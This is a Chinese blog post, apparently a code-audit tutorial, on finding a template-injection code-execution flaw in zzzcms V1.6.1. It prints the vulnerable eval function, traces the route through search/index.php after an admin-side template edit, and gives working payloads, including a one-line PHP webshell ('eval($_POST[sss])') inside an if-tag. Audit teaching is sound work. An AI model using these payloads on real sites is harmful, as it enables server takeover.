本文作者:sher10ck
zzzcms 的后台模板处的命令执行可以说是这套 CMS 比较典型的漏洞了,很久之前自己跟踪过一遍漏洞代码,最近又拿起来玩了玩,发现自己也能够审计到这个漏洞点,整个漏洞审计的过程也很简单,没有啥骚操作。
下面我就会按照审计的思路,而并非漏洞分析的思路,给大家说说我是如何通过自己的努力审计出这个命令执行漏洞的
cms 下载地址:
https://yunpan.360.cn/surl_ycSTDKgjnKt
这里我下载的是V1.6.1
定位漏洞点
审计的时候我是直接全局搜索敏感函数 php 代码执行函数:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
首先看下 eval,全局搜索
仔细翻翻看,存在 eval 函数的 php 文件就只有这一个 zzz_template.php,而我们的这个命令执行的漏洞点也就是存在这里。(惊不惊喜,发现漏洞点其实就是这么简单)
跟踪到了 /inc/zzz_template.php 中的 parserIfLabel 函数
有嫌疑的点我们找到了,接下来我们仔细看看这个函数
细看漏洞函数
来看一下这个函数的逻辑
无敌,看起来并没有啥过滤,我们本地将这个函数弄出来测试一下
这里将我们 $zcontent
的值构造一下
$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
parserIfLabel( $zcontent );
function parserIfLabel( $zcontent ) {
$pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr1 = cleft( $ifstr, 0, 1 );
switch ( $ifstr1 ) {
case '=':
$ifstr = '0' . $ifstr;
break;
case '{':
case '[':
$ifstr = "'" . str_replace( "=", "'=", $ifstr );
break;
}
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '===', '==', $ifstr );
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
}
}
function cleft( $str, $start = 0, $num = 1 ) {
$var = trim( $str );
$result = substr( $var, $start, $num );
return $result;
}
?>
访问:
http://127.0.0.1/test.php
成功执行命令了,这个函数存在命令执行漏洞!
如何调用漏洞函数
这里又出现了一个问题,漏洞函数找到了,如何去调用这一个函数呢?
在审计的时候我一般会有两种思路:
1、特定的功能点调用漏洞函数,我们寻找功能点
2、可以直接 url 调用漏洞函数,构造 url 触发漏洞
大家可以自行尝试一下这两种思路。
那么这里是哪种呢,往下看,我们看看 zzz_template.php
的整体架构。
原来我们这里的 parserIfLabel 函数是在 ParserTemplate 类中的,而且这个类中的 parserCommom 也会调用这个函数。
那么想触发我们的漏洞函数,首先必须要生成 ParserTemplate 这个类。
全局搜索
这里在两个文件中出现了 ParserTemplate 类,一个是 /admin123/save.php
,另外一个是 zzz_client.php
,不喜欢看后台我就直接看了下 zzz_client.php
。
zzz_client.php
中匹配到了多次,我们一个一个来看
第一个匹配点,利用失败
注意上面的 if 条件:$location=='user'
我们继续跟踪 $location 这个变量,来到了line23
跟踪 getlocation() 这个函数
其实下面还有一大段代码没有截出来,但是没有关系,我们只需要用 get 请求 location 参数,举个例子:
我们构造url:
http://127.0.0.1/zzzphpV1.6.1/?location=user
那么我们的参数:
$location=user
这样就能满足我们的条件了,继续看 if 里面的内容,我这里继续贴出关键的代码:
这里的 TPL_DIR 的值为 **templatepccn2016html**,怎么构造的可以自己跟踪一下
整个流程我简化出来了,要是我们可以将我们的 $zcontent
修改成我们构造好的内容,那岂不是就能够触发了。
所以这个点我们要修改 templatepccn2016htmluserlogin.html 中的内容,这里后台给我们提供了这样的功能。
但是我们发现 html 文件夹下并不存在 userlogin.html,尴尬了,又不能自己新建一个。
看来 location 为 user 这条路走不通,继续看下一个。
第 N 个匹配点,利用成功
失败乃成功之母,在我跟踪了 N 次之后,终于找到了可以利用的一个点(大家可以自行尝试一下)
其实也就是第三个匹配的点,前两个用的有点鸡肋。
当我们的 $location=search/form/screen/app
的时候进入下一步。
html 文件下并不存在 form/screen/app.html
,这里只能利用 search 了呀。
于是乎我访问了
http://127.0.0.1/zzzphpV1.6.1/?location=serach
并没有跳转到 search 的页面,而是给我返回到了主页,按道理来说应该是能行的啊,后来发现问题在 getlocation 这个函数里面的 checklocation 函数
search 并不在这几个列表里面,那要想办法继续搞啊,于是我继续细看了 getlocation 函数,发现一个有意思的地方
要是 search 自定义了 LOCATION 就好了,全局搜索这个 LOCATION
嘿嘿,正好 search 中定义了这个值,在 searchindex.php 中,这不就刚好吗,我去修改了 html 下的search.html
然后访问
http://127.0.0.1/zzzphpV1.6.1/search/index.php
成功执行 phpinfo
phpinfo_payload:
{if:assert($_request[phpinfo()])}phpinfo();{end if}
一句话 payload:
{if:<?php eval($_POST[sss]) ?>}phpinfo();{end if}
还有没有其他可以利用的点就靠大家自行去挖掘了
总结
自身的审计能力和漏洞复现跟踪代码完全是两码事,复现看懂了漏洞成因你不一定能够审计的出来,自身的审计能力也需要经过大量的思考才会有所提升,希望大家都能够静下心来看会代码,漏洞就在那里,看你是否主动去寻找到它了,希望这篇文章能对你有所帮助。
本文始发于微信公众号(信安之路):再谈 zzzcms 代码执行,你也能审计出来的高危漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论